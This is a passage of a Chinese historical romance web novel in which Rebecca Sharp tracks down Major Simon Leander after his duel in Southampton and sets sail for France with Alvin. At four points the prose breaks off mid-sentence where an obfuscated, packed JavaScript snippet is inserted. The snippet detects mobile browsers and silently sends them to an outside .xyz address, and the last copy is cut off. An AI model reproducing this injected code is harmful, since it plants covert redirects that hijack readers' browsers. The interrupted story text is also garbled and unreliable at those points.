“哦哦，这件事很好办，但您一个人出现在这里，多少有点儿不合适，请问您难道没有家人或朋友陪同吗？您可以留一个地址，先回去，等我查清楚情况，会写信通知您。” 大副话音刚落，伦恩先生恰巧赶到，手里还拿着她放在马车里的披肩：“小姐，请回去，先生很担心您。” 瑞蓓卡不可能回去的，大副的回答看似贴心巧妙，但并不能让她满意。 等他查清楚，是要等多久呢？ “我衷心希望你现在就去查，少了一个乘客是很严重的事情，我需要立刻知道前因后果。”她站在原地一动不动。 大副很为难地看看她，又看看面无表情的伦恩先生：“好吧，请您跟我来。” 乘客登记表上没有利安德尔少校的名字。 “很明显，你们没能接到乘客，和我们没有任何关系。小姐，你现在满意了吗？” 瑞蓓卡觉得很不对劲，想到利安德尔少校寄来的最后一封信，来自葡萄牙的里斯本，她急忙问：“你们这艘船从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918380|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印度到英国行驶了多久？有没有经过里斯本港口？从里斯本到南安普顿大概要多久？” “这不好说，船只航行很受天气影响，我们这艘船在海上行驶了差不多四个月，从里斯本过来，通常来说需要几周，最近天气还算不错，‘绿洲号’只用了两周就穿过了葡萄牙西班牙。” 布克德太太在宴会上收到利安德尔少校从里斯本发来的信，那时候距离落款时间，已经过去三周。 她和阿尔文四天前，来到南安普顿港，一直在等“绿洲号”的消息，直到今天，距离利安德尔少校在里斯本寄信，已经超过五周。 从印度到英国，需要数月的行程，再健忘的人，也不至于几个月都记不住自己乘坐的船叫什么名字吧？ 按照“绿洲号”从里斯本港驶来的时间，和利安德尔少校寄信的时间判断，他可能已经乘坐其他船抵达英国，为什么他要告诉布克德太太他乘坐的是“绿洲号”呢？ 难道他不想去布克德太太家？ 那干嘛写信让她派人来接呢？ 瑞蓓卡把她的调查结果，告诉阿尔文，阿尔文只是冷冰冰地告诉她，不要掺和这件事。 当晚，大概十点钟左右，她居住的旅馆南边，传来一声木仓鸣。 “看样子，这个港口不算平静呢。” 她盯着棋子，假装没看到阿尔文刚刚被木仓声吓了一跳。 阿尔文很快恢复平静，食指和中指夹住皇后棋，将它挪到新位置：“港口往来人员繁杂，这很正常。” 而后每隔一段时间，便有木仓声响起，断断续续，一共传来四次枪鸣。 每次木仓声响起，阿尔文总会被吓一跳，随后很快平静放松下来，再次被突然响起的木仓声吓到。 他注意到，瑞蓓卡的情况刚好与他相反。 面对突然而来的巨大声响，她表现得很镇定，半点儿没有被吓到的样子，反而是枪响后的宁静，使她看上去有些紧张。 她好像在时刻准备迎接木仓声，如同迎接生活中大部分突然发生的糟糕事一样，在这方面，下等人们大概是很有经验。 “枪声老是打断我的思路，不玩了！”眼看自己马上要输掉，瑞蓓卡丢下棋子抱怨道。 不知道为什么，或许是白天没能顺利见到利安德尔少校，这会儿听到枪响，她总觉得说不定两件事有关联。 “是苏格兰场的人在工作吗？” “一看就知道你没用过木仓，木仓准头很差，打体型大的猎物还可以，抓犯人？你也太高看苏格兰场的木仓法了。” 阿尔文摘下单片眼镜，交给伦恩擦拭，自己整理起棋盘：“你该问伦恩先生，伦恩先生在这方面很专业。” “南边是商业区，有很多俱乐部、餐馆，木仓声很有规律，像是按照回合进行一样，更大可能是有人在决斗。” 从伦恩先生手中接过擦完的眼镜，他看看瑞蓓卡若有所思的模样，突然想起一件事。 他大概知道西蒙在哪了。 22.第 22 章 第二日用早餐时，瑞蓓卡又问起利安德尔少校的事。 “我们明天就要乘船前往法国，利安德尔少校的事情，该怎么办呢？” 阿尔文看着手中的报纸：“有佣人留在这里，早晚会打听到他的消息。” “现在就派人去打听消息吗？怎么打听他的消息呢？” “怎么打听他的消息？这当然是佣人需要考虑的问题。” 他放下报纸，瞥瞥她，声音充满轻蔑。 “你最好尽快调整好心态，学会用上等人的眼光思考问题，否则到了船上，一接触到那些人，他们就会看穿你的真实身份。他们都是生意人，见多识广，不像罗姆塞那种乡下地方的人容易糊弄。” 瑞蓓卡要跟随阿尔文去法国，充当他的翻译，这是阿尔文应付布克德太太的说辞。 实际上，阿尔文对她的考验更加严苛。 法国驻英大使瑟伦迪男爵的儿子瑟伦迪先生，他开设的造船厂，为海平面航运公司制造的新轮船，在试水时发生严重故障，被海平面公司告上法庭，要求赔付违约金。 瑟伦迪造船厂声称自家造的船只绝无质量问题。 海平面航运公司此前曾出现过资金短缺情况，瑟伦迪先生认为，海平面航运公司无力支付后续尾款，故意在新船试水时搞破坏，想借此讹诈瑟伦迪造船厂，还可以不用再付尾款。 因此，瑟伦迪先生找到阿尔文帮他打官司。 关于海平面航运公司的情况，阿尔文想让她扮演在英国发达的法国贵族后裔，在回国的船上，“偶遇”海平面航运公司董事，假装有投资给航运公司的意向，借此打探情况。 阿尔文给她添置了许多新衣服，还向布克德太太借来首饰。 关于她去当翻译为什么要买衣服借首饰这件事，布克德太太一点儿都没起疑心。 布克德太太认为，年轻人出去玩就应该打扮得漂亮，高高兴兴地把所有首饰都拿出来，让她挑选。 瑞蓓卡很清楚，即使她办成这件事，阿尔文也不太可能将她留下，他只是想榨干她的最后价值，再辞退她。 如果她消极怠工，把一切都搞砸，对她更是没好处。 有机会当一次真贵族，她没道理不配合。 面对阿尔文的怀疑和贬低，她没有反驳：“既然你觉得我缺乏上等人的思维，不如让我在上船前锻炼一下，把打听利安德尔少校的事交给我吧，让我将佣人指使得团团转，说不定能沾上点儿你们上等人身上的威风气派。” 瑞蓓卡难得在他面前这么低姿态，阿尔文纳罕地将她打量一遍，却看不到半点谦虚的神情，眼睛里依旧是那副狡诈模样。 “说这么多，归根到底，你还是不放心他，真不知道你对他这么积极，心里想的是什么。如果你觉得特纳将军还不够优秀，认为西蒙是更好的选择，我可以告诉你，你想错了。” “我可以向你发誓，我对利安德尔少校的关心，完全是因为布克德太太。” “向我发誓？跟我有什么关系呢？即使你明天就嫁给西蒙，也跟我没关系，我只是提醒你一句。”阿尔文不相信她的话，能随口发誓的人，他们的誓言没有半点可信度。 “伦恩先生和他管着的几个男佣归你调度，仅限今天，你最好能学到点儿真正上等人的姿态，不要那么谄媚，要端着架子，如果你面对海平面航运公司的人，也是这样随随便便起誓，谁能相信你是蒙默朗西的后裔？” 瑞蓓卡微微抬起下巴，轻轻颔首，斜眼看向他，语气轻慢：“知道了——” 她的态度突然变得矜持又傲慢，使他的表情有些别扭。 “这样你觉得够端着吗？” 收起刚刚的那副姿态，她笑嘻嘻地问。 “太刻意。” “你知道吗？我敢保证我能获得航运公司董事的信任，前提是你不能像刚刚那样总贬低我，你该改改这个习惯，不然在他们面前暴露怎么办？而且你该对我体贴一点儿，毕竟你是护送我回法国的‘亲属’呢。” “我扶着你下马车，请伦恩先生帮你拿披肩，难道还不够体贴？”阿尔文垂下眼帘，盯着桌子上的盘子，一字一句地说。 他在不断调整对她的态度，她那么聪明，难道一点儿都没感受到？ 莫名其妙地，瑞蓓卡虽然看不清他的脸色，但能感受到他似乎想让她夸奖他？就因为他拿对待和他同阶层女性的态度，对待她，而且还是暂时的，过不了多久，她可能还会被他辞退？ “很体贴、非常有绅士风度。” 某个瞬间，阿尔文的唇角微微上扬，但很快恢复成原本平静的模样，仿佛她的话不曾在他的心中溅起任何涟漪。 他仰起头看着她：“这种话轮不到你来说，不过，鉴于现在的特殊情况，你可以说。” 瑞蓓卡差点笑出声，被赐予夸奖他的权力，这真是天大的荣幸。 朗弗罗先生说阿尔文只有二十岁，普通二十岁的年轻人这么傲慢自负，勉强能理解，但他已经大学毕业，进入律所工作将近一年，不是未曾接触社会的愣头青。 阿尔文现在还能保持他性格中的这部分恶劣因素，她只能说，家庭惯坏了他，社会上的人，因为他的身份和财富，对他过分宠溺。 走到哪儿人们都奉承他，他竟然就相信了这些奉承，觉得自己是个大人物。 实际上呢？ 如果他不是布克德太太的儿子，他再天纵英才，也只能淹没在努力求生的底层人中。 用完早餐，瑞蓓卡立刻行动起来。 先派伦恩先生去各个航运公司在南安普顿的分公司，索要最近从印度到英国的航班的乘客表，弄清楚利安德尔少校，究竟是没到英国，还是早就到了。 另外她搬进三楼利安德尔少校房间时，见过他留在卧室里的几张画像，根据这些画像，她快速绘制出几幅素描，让其他佣人到南安普顿的贫民窟，散发给小孩子。 瑞蓓卡想过找成年人当帮手，但使用普通人价格太高，雇佣贫民窟的家伙，又太不划算。 她知道那些人，被贫穷的生活折磨得麻木，头脑僵化，而且让他们帮忙，他们一定会要求先付款，付款后，他们干不干，那就是不一定了。 小孩子们，大多数没有经历那么长时间的贫穷，脑子还算灵活，还可以利用小孩子的优势，博得人们的同情，走街串巷更方便。 一样穿着邋遢，大人们想走进一家旅馆或是餐厅，问几句话是万万不能的；小孩子一般不会遭到暴力驱赶，旅馆和餐厅的上流人士们，受到社会道德的约束，无论真心还是假意，大都善良泛滥，绝不会看着店员驱赶孩童。 “谁能提供利安德尔少校下落的有关信息，证实消息为真后，赠与十先令，如果能找到他，赠与三英镑！” 布克德家的下人，分给孩子们素描肖像时，伦恩先生已经带人将大部分乘客名单拿到手。 果不其然，三天前，利安德尔少校已经乘坐另一艘轮船抵达南安普顿。 因为昨晚的木仓声，瑞蓓卡总有种直觉，她该到诊所寻找利安德尔少校。 昨晚伦恩先生说出木仓声可能是有人在决斗，阿尔文一副若有所思的样子，再加上利安德尔少校就在南安普顿，她实在无法不将这两件事联系在一起。 她特别叮嘱伦恩先生两件事，一是打听清楚昨晚的事，二是在寻找利安德尔少校时，不止向餐馆旅馆打听消息，还要询问南安普顿大大小小的诊所。 阿尔文不看好瑞蓓卡，认定她是白费工夫，完全不关心对这件事的调查进度，用完早餐后，他便出门见瑟伦迪先生，讨论案情。 差不多在下午两点时，伦恩先生带回最新的消息：利安德尔少校正是昨晚参加决斗的双方之一，现在某医生的诊所养伤。 没来得及等阿尔文回来，她急匆匆吩咐佣人准备马车。 实际上，她也不希望与阿尔文陪一起见利安德尔少校，不管他喜欢或讨厌利安德尔少校，万一他把找到利安德尔少校的功劳往他身上揽，怎么办？ 前往诊所的路上，瑞蓓卡询问伦恩先生：“利安德尔少校为什么与人决斗？他刚回到英国，不应当在这三天里就与人产生这么大的矛盾吧？” 听到她的问题后，伦恩先生满是皱纹的脸，更皱了。 “小姐，我接受到的指令是寻找利安德尔少校，只有在这件事上，我听您的指挥，其他的事情，我没有权利告诉您。如果您很想知道这件事，请您去问阿尔文先生或布克德太太。” 瑞蓓卡对伦恩先生没什么好感，她知道是他调查的她的背景，先入为主，对他的印象局限在阿尔文最忠实的佣人范围内。 能对阿尔文忠心的人，是什么样的人？ 当然是像阿尔文一样傲慢讨厌的人！ 对伦恩先生来说，照顾她是件不得已的事，大概他也盼着阿尔文辞退她呢。 她瞥瞥伦恩先生：“我早晚能弄清楚这是怎么一回事。” 利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919881|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安德尔少校所在的诊所，并不是南安普顿最好的诊所，从它的位置上就能看出这一点。 马车七拐八拐，绕过繁华的港口和街市，来到一处相当僻远的地方，爬满青苔的陈旧石砖外墙和有些生锈的铁质招牌，在阴霾的秋日中，透露出一股萧瑟气息。 看到这幅场景，瑞蓓卡乍有点不敢相信。 达勒姆伯爵的弟弟、阿尔文的小舅舅、布克德太太最疼爱的弟弟，竟然在这样的地方养伤？ 阿尔文说利安德尔少校是个错误的选择，她还以为是对比起特纳将军，利安德尔少校的军衔要低很多，现在看来，阿尔文所说的错误，大概是指利安德尔少校的经济情况。 她的精神瞬间低落，利安德尔少校大概率在海外混得很差，混得差，精神面貌和外在的容貌也不会好到哪去。 到时候布克德太太看到他一副穷愁潦倒的模样，对他的疼爱之情很可能暴跌，连带着她这个找到他的人，也得不到什么好处。指望布克德太太劝说阿尔文，将她留下，有点儿悬。 进入诊所的前厅，一股混合着草药、消毒水的气味扑面而来。 几张旧的木质长椅，上面坐着几个面色疲倦打扮得很普通的病人，有人在低声咳嗽，有人闭目养神，还有一个老妇人正轻声安慰着怀中哭闹的孩子。 伦恩先生走在前面开道，她掩住口鼻，飞快地走着。 她不害怕疾病，但这种死气沉沉的气息，实在让她感到讨厌。 房间的正中央，有张宽大的桌子，放着当下流行的含汞药剂，以及各种大小的柳叶刀。 医生正在治疗室中，她给伦恩先生使个颜色，他立刻敲敲门，走进去跟医生说明来意。 很快他走出来，引着她往二楼走。 “利安德尔少校在二楼，住在医生的家里。” “他伤得很重吗？怎么还要住在这里？” “利安德尔少校从印度回来，没带佣人，不方便在旅馆养伤。” 医生的家人住在二楼，她应该先去拜见医生的妻子，再由她带着她去见利安德尔少校，然而现在，医生的妻子不在家。 以诊所的位置和病人的财富情况来看，医生显然没怎么接触过上流社会的人，没有这种礼节概念，直接放任她与伦恩先生上楼找他。 二楼有五个房间，伦恩先生一间一间的敲门，敲到第三个房间时，走廊尽头房间的门忽然打开。 一个赤裸着上半身的人，肩膀缠着绷带倚靠在门上，浓密的黑色卷发肆意垂落，发梢带着汗水打湿的痕迹。 “你们来干什么？还让不让人睡午觉！” 她立刻低下头，盯着许久没打蜡灰扑扑的木地板，但他漂亮的身体，已经闯入她的脑海，留下痕迹。 宽阔的肩膀，蛮横地霸占着周遭的空间，硬生生将走廊挤出一种局促感，漂亮的胸肌随着呼吸微微起伏，看上去弹性十足。 这具漂亮的身体，留给她印象最深刻的是，他的腰部。 窄得夸张，像是被刻意地收束着，简直不成比例！ 这使他原本自信张扬健康野性的气质，增添一丝诡异的柔和，她把这种柔和称为可得性。 她忍不住再次抬头看向他。 利安德尔少校的眼睛长得与布克德太太很像，很大很明亮，给人的感觉却完全不同。 那双湛蓝的眼睛，潜藏着风暴，像蓄势待发的利剑，箭还未离弦，暴风雨尚在酝酿，她却已经有种被击中，被狂风暴雨洗礼后的感觉。 在注意到她的存在后，利安德尔少校的肌肉有些紧绷，青筋暴露，沟壑明显。 正考虑该如何应付他的怒火，突然间，他砰得关上门。 她看看伦恩先生，伦恩先生板着张脸，对她的目光毫无回应。 看来她一点也指望不上他，他只负责他该干的琐事，想让他给自己一点提示，是绝对不可能的。 差不多半分钟后，利安德尔少校再次走出来。 彼时他已经穿上红制服，连军官们常常惯于解开的第一颗口子，都扣得严严实实，让她大失所望。 过去她总觉得红制服，很能为男人增添魅力，但现在，见识过他让人过目不忘的身体后，再看到他穿着红制服，总觉得缺少点什么。 原来这个世界上，还有人适合不穿衣服。 她感到脸微微发热：“布克德太太派我来接您，昨天没能在‘绿洲号’等到您，我只好派人四处寻找，到这里来打搅您的午觉。” 23.第 23 章 利安德尔少校微笑着问：“你是我姐姐的管家？” 他的笑容很有感染力，瑞蓓卡能明显感受到，这不是普通对待佣人的笑容，更不是那种虚伪的社交微笑，让她想起善良单纯的爱米莉亚。 除了爱米莉亚，利安德尔少校是唯一一个给她这种感觉的人，或许他们能成为朋友。 面对这样温暖的笑容，她的笑容多了几分真心。 “不，我母亲昂特勒夏女伯爵，是蒙默朗西家族的后裔，与您母亲达勒姆伯爵夫人是远亲。” 她没有提起自己家庭教师的本职身份，先报出这几个词。 昂特勒夏女伯爵、蒙默朗西家族等词语，一直是她在社交场上开疆拓土的好帮手。 “原来是亲戚啊。” 他突然收起笑容，蓝眼睛里充满愤怒。 她被他的态度转变，弄得一愣，还没得及说些补救的话，他已经转身走进屋，重重地关上门。 “伦恩先生，你知道利安德尔少校为什么生气吗？” 直觉告诉她，很可能是她那显赫的外祖母家，这次发挥了反作用。 “利安德尔少校七年前离开英国，我是在三年前来到阿尔文先生身边工作。” “原来你才为阿尔文先生工作三年，但我觉得你对他的忠心耿耿，那些工作三十年的人都未必比得上你呢！他常给你分配高难度工作吧？” 伦恩先生皮笑肉不笑：“夏普小姐，你最好别白费心思，我不会说阿尔文先生的坏话，留给你把柄的。” “我没有引导你说什么的意思，我是真心觉得你很不容易，譬如现在，你归我指挥，就是一项对你来说很困难的任务。” “并没有。” “好，”她满意地点点头，“那请你敲敲门，把利安德尔少校请出来吧，他该去旅馆与我们同住。我到马车上等你的好消息。” 考虑到利安德尔少校刚刚生气的模样，她认为伦恩先生将耗费不少时间，才能完成这项任务。 一坐到马车上，她立刻打发布克德太太借给她的女佣维奥娜去买糖渍葡萄。 没想到维奥娜还没回来，伦恩先生便拎着大包小包走出来，后面还跟着利安德尔少校。 现在最多只过去五分钟，抛开打包行李的时间，伦恩先生几乎没时间说几句话，利安德尔少校就熄灭怒火啦？ “麻烦你。”利安德尔少校对装行李的伦恩先生说。 看上去，他是个很有礼貌的人，但这份礼貌和客气不属于她。 “您的伤不要紧吧？这边的路有些颠簸。” “如您所见，我还活着。” “您的木仓法一定很好，那个与您决斗的人，肯定输了吧？” “死了。” “您刚回到英国，怎么会这么快与人产生矛盾，还这么严重？” “老仇人。” “那您——” “你的问题真多，难道我们很熟吗？还是说你是苏格兰场的人？” “我跟布克德太太是好朋友，关心好朋友的亲人，难道有什么问题吗？” 西蒙·利安德尔被她说得一愣，见她一副信誓旦旦的模样，面对他的质问，半点都没有心虚，不由得有些相信，心中对她的厌恶稍稍减轻。 不过，他还是不愿意跟这些上等人打交道。 无论真心还是假意，他都讨厌他们。 “没问题，但我不需要一个陌生人的关心，你很吵，你能明白吗？” “瑞蓓卡·夏普。” 人们偶尔称赞她活泼，她还是第一次被人评价为很吵呢。 按捺下心中的不满，瑞蓓卡挤出一个大大的笑容，朝他伸出手：“你知道我的名字，现在我们就不是陌生人了。” 没有中间人做介绍，贸然进行自我介绍，还要伸手握手，很不符合当下的礼节，再粗鲁的农妇、女工，都不会做出这样的举动。 她不缺乏教养，也不是那种容易头脑发热的人。 做出这样的决定，是她深思熟虑后的选择。 他说话很直接，毫无上流社会常见的迂回婉转，言行举止，甚至有些粗鲁，大概率不是那种看重礼节的人。 毕竟一位有礼节的绅士，是不会赤裸上半身出现在走廊里的。 西蒙眼中闪过一丝惊讶，动作却没有丝毫犹豫，果断地握住她的手。 “你不像他们。西蒙·利安德尔，第六十团少校。” 瑞蓓卡敏锐地捕捉到关键词：“他们？他们是谁？” “讨厌的人。” 她笑起来：“那我是讨你喜欢的人喽？” 伦恩先生咳嗽两声。 西蒙打量着她：“不必要，我没觉得你需要讨我喜欢。我喜欢你，讨厌你，你都不必在意，人们都说我的性格很古怪。” “别人不在意你的想法，或许很容易，如果是十分钟前，我也能很轻易做到这点儿，但现在你要求我这么做，恐怕有点困难。” 他皱皱眉：“既然你关心我的想法，那就请你不要说这些奉承话，我不需要奉承，别让我讨厌你。” “而且，我暂时没有跟人交谈的想法。” 瑞蓓卡自信从未在社交场上遇冷，即使人们讨厌她，也从不把话说绝，总是那么迂回。 利安德尔少校不讨厌她，她认为他甚至还对她有点好感，可惜他说话实在太直，一点都不给她见缝插针的机会。 回旅馆的后半程，她一直没能与他交流。 阿尔文回到旅馆，听说瑞蓓卡找到了西蒙，很惊讶。 只用一天找到西蒙，她肯定很得意。 瑞蓓卡与西蒙结伴回来时，她的嘴角几乎一直上扬，如果伦恩先生没把她在西蒙面前吃瘪的事告诉他，他真的以为她大获全胜归来。 想到她一直无往不利，连在他面前，都常常占据上风，现在却被西蒙一个连大学都没读完的蠢家伙挫伤。 阿尔文既高兴，又不高兴。 在听到西蒙不打算回去见布克德太太，而是准备乘坐海平面公司的“航行者”号前往法国，他仅剩的那点儿高兴，顿时消散无影。 “你买的什么票？” “二等舱。” 阿尔文心中鄙夷：“我帮你买张一等舱的票。” 西蒙伸伸懒腰，仰倒在单人沙发上：“不必了，你知道的，一等舱还得社交，我不喜欢跟他们交际，宁愿住二等舱。” “已经七年，你对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14933017|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上流社会有再多不满，差不多也该消气了吧？一直怀着仇恨，对你并不是件好事，特别是仇恨上流社会。你这样报复不到任何人，只能自断前途，又有什么意义？” “我才二十七岁，不一样升到少校了吗？他们妨碍不到我，而且，我也没有什么当将军的远大理想。” 见西蒙一副满不在乎的样子，阿尔文无奈，不得不换个表达方式：“如果你的地位升高，你能更好报复那些人。” “先违心地奉承他们，等我成为将军，再转过头来报复他们？我宁可不报复，也不想给他们好脸色，让自己不高兴。” 说到这里，西蒙突然坐直身子，眼睛发亮：“我还没告诉你，我已经找到当初骗我欠下‘太子债①’的人，昨晚杀死一个，他临死前，告诉我，另一个人在法国。” “你是通过决斗杀死他的②？木仓的准头那么差，你简直是在赌命。” “我的块头那么大，还海外历练那么久，他不肯用剑跟我比，只好用木仓赌运气。” 阿尔文无奈地摸摸额头，这样鲁莽又不可理喻的人，他实在跟他讲不通，必须直接说明意图了。 “我和夏普小姐，也要乘坐‘航行者’号，说实在的，我不希望看到我的小舅舅住在下等舱，与下等人来往。如果你不想住一等舱，那就换一艘船。” “不行！”西蒙差点跳起来。 “法国离英国不远，如果让他知道我杀死贝尔的事，万一在我赶到前，他跑了怎么办？” 晚饭时候，瑞蓓卡见到阿尔文和西蒙时，被告知：西蒙也将与他们一起，前往法国。 西蒙因为被阿尔文威胁，如果不愿意升舱，阿尔文将把他与人决斗的事情，添油加醋告诉布克德太太，这会儿怎么看阿尔文，怎么不舒服，只好与瑞蓓卡交谈。 “夏普小姐去法国有什么事？” 瑞蓓卡瞥瞥阿尔文，他竟没告诉利安德尔少校，这是什么意思？ 阿尔文替她答道：“夏普小姐在英国发了笔财，想回法国寻亲，顺带进行一些投资。她的近亲基本都已经去世，因此，母亲拜托我，护送她乘船回去，帮她看看合同是否规范之类的。” “投资？为什么想投资？” “毕竟是母亲生活过的国家，经历大革命和连年战争的洗礼，或多或少，经济和工业，都有些下滑，为了纪念母亲，我想为法国做点贡献。” 她说完这番高尚又孝顺的话，利安德尔少校的表情有些不对，她突然想起，自己犯了个错误。 瑞蓓卡秉性圆滑，惯于说这些虚伪的话，面对耿介的利安德尔少校，乍有些转换不过来。 “真的吗？赔钱也肯干？”西蒙一脸怀疑。 她露出微笑，大大方方承认说：“当然不可能。我对母亲的感情是真的，但所谓的为法国做贡献，实际上，更多的是有利可图，人们告诉我，那是片好市场。” 西蒙举起酒杯，朝向她的方向：“夏普小姐很奸诈。” 瑞蓓卡不喝酒，她右手虚握，做出握着酒杯的样子，跟着举杯。 两人都笑着看向对方，一种名为“被孤立”的感觉，迅速包围阿尔文，他插话打断这怪异的氛围：“奸诈有时候确实不是贬义词。” 24.第 24 章 梳妆镜里，瑞蓓卡神采奕奕，拿起一对孔雀石耳坠，放在耳边比划着。 女佣为她拆下卷发纸，将头发弄成中分发，在额前留出两绺卷发，其余全部梳成规整的发髻，最后扑上厚厚的发粉。 阿尔文已经在外间等她。 两人都起了个大早，今天他们就要上船，瑞蓓卡被阿尔文叮嘱精心装扮，务必符合归国贵族的身份。 她满口答应，没想到阿尔文还是不放心，一大早就在外间等她，催促她梳妆打扮，给他过目。 穿上虞美人红长裙，蓝色斯潘塞外套，她小心翼翼地戴上温彻斯特侯爵夫人赠的胸针，走到外间。 “怎么样？这身打扮还可以吗？” 阿尔文依靠在丝绒沙发上，修长的双腿交叠，长靴泛着油润的皮革光泽。 他盯着手中的怀表，表情很不愉快，金色的表链垂落在指间摇晃，怀表的滴答声和来回摇摆的表链，着实令人心烦。 听到她的声音，他没有立刻看向她，唇角泛起讥笑：“花费这么长时间，昆汀·马西斯画里的蒂罗尔女公爵①，都能变身爱神维纳斯了。” “马西斯的《丑陋公爵夫人》，原型可不一定是蒂罗尔女公爵，她作为女人，太聪明，遭人嫉恨，被社会所不容，才被后人丑化成这样。” 瑞蓓卡面带笑容，拎着裙摆走到他面前，向他行礼。 “因为你是图画教师的女儿，所以就要把自己打扮成打翻的调色盘吗？你是从英国回来，不是从印度。” 阿尔文站起身，摘下帽子回礼，瞥到她的瞬间，眼中闪过一丝惊艳。 “珠宝首饰戴得不够多，你耳上的是什么，罗姆塞集市淘到的某位村妇视若珍宝的家传劣质半宝石吗？为什么不戴钻石？” “你不觉得我全身的颜色很和谐吗？” “相信我，这样足以扮演一位女继承人，日间礼服而已，不是晚装，不用太华丽。何况我从布克德太太处借来的珠宝有限，那些贵重的珠宝，当然要等到晚宴再出场。” 以阿尔文盯着她的眼神来看，她愿意相信他说的是违心话，尽量不去在意，省得毁掉她的成就感。 “你最好回去换件白色修米兹，再戴上——” “我一件白裙子都没带，有这顶帽子就足够。” 她打断他，从女佣手中接过一顶宽檐帽，上面缀着几根高耸入云的鸵鸟毛。 这几根鸵鸟毛来自非洲，轻飘飘几根羽毛，比黄金都贵重，品相上佳的鸵鸟毛，每根价值七英镑。有什么能比得上，在这种不值当的小地方花大钱，更能彰显财力呢？ 阿尔文看着她，勉为其难地冷哼一声，表示赞同：“下次少用点发粉，这个香味让我想吐。” 他更喜欢她头发上淡淡的薰衣草香，但却不得不承认，自然浪漫的恬静美好，古希腊式的飘逸白裙子，与她很不搭配。 反倒是浓郁的香气，明艳的色彩，浮夸张扬的帽子，更适配她直白热烈的庸俗，以及那双充满野心的绿眼睛。 十五英寸（38.1厘米）宽的帽檐，将她的身材衬得更加纤细婀娜，略修身的飘逸裙摆，笔直地垂落在脚踝间，让他联想到韦奇伍德生产的一种窄长花瓶。 乘马车前往港口时，利安德尔少校声称瑞蓓卡的帽子能把他挤死，选择与瑞蓓卡的佣人乘坐另一辆马车。 考虑到利安德尔少校的身高差不多有6.3英尺（193厘米），瑞蓓卡轻而易举说服自己，原谅他冒犯的语言。 上次来港口接利安德尔少校，远远地看着，她没觉得一等舱的舷梯有多高、多陡。 亲自走在前往一等舱的舷梯上时，她才发现这段路程如同登天，不只是在高度上，还是阶级的跃升。 她第一次站得这么高。 准备回国做投资的、钱多得没处花的蒙默朗西家族后裔，虽然是一时的虚名，她没能从中取得实利，但脚下那道分隔开阶级的舷梯，证明了她的努力总算没完全白费。 想到这，她忍不住热血沸腾，迈出的每一步都格外用力。 下面的二、三等舱不断传来喧闹声，混杂着搬运工粗粝的吆喝，岸上亲友送别时的呼喊，她的眼神忍不住地往舷梯下溜，想看清楚那踩在脚下的密密麻麻的人，此刻有多么渺小、多么遥远。 如果可以，她还想依着栏杆，朝下面的人挥挥手，同过去的一切做切割。 阿尔文咳嗽一声，打断她的幻想。 船舱门大敞着，再往前走，木质舷梯就要变成深蓝色地毯，她伸手将礼帽的帽檐往上推推，挽着阿尔文，昂首挺胸地踏进船舱。 瑞蓓卡和阿尔文、利安德尔少校的房间，分别在32、34、36号。 她跟阿尔文所居住的34、36号，是“航行者”号上最好的房间，拥有明亮的私人夹板和开阔的客厅，一等舱中的一等舱。 这种房间只有三个，另外一个是与他们相邻的38号，乘客为菲代勒先生，“航行者”号的所属公司，海平面航运公司董事。 下午四点半，利安德尔少校邀请她到甲板散步：“从船上欣赏落日很漂亮，你不想去看看吗？” 瑞蓓卡看向阿尔文，从上船到现在，已经过去四个小时，38号房间一点动静都没有，菲代勒先生恐怕睡着了，想在晚宴前偶遇结交他，恐怕不太可能。 阿尔文没什么反应。 “我当然想跟您一起散步。” 她欢喜地揽上利安德尔少校的臂膀，感受到衣料下绷紧的肌肉与温度，心底忍不住冒出一种想捏捏他的冲动，她死命克制着那股冲动，尽量表现自然。 两人并肩朝门口走去，她将他揽得很紧，中间一丝缝隙都没有。 端坐着的阿尔文冷不丁突然站起身：“我跟你们一起去。” 利安德尔少校有些不满：“我没邀请你。” “夏普小姐和你都是单身，你们两个独处不合规矩。” “甲板上明明到处都是人。”利安德尔少校嚷道。 他的声音很大，吼得阿尔文一愣。 从旁观者角度来看，他并不是在怒吼，除了音量，他现在的表情和语气，无论如何都与生气扯不上关系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 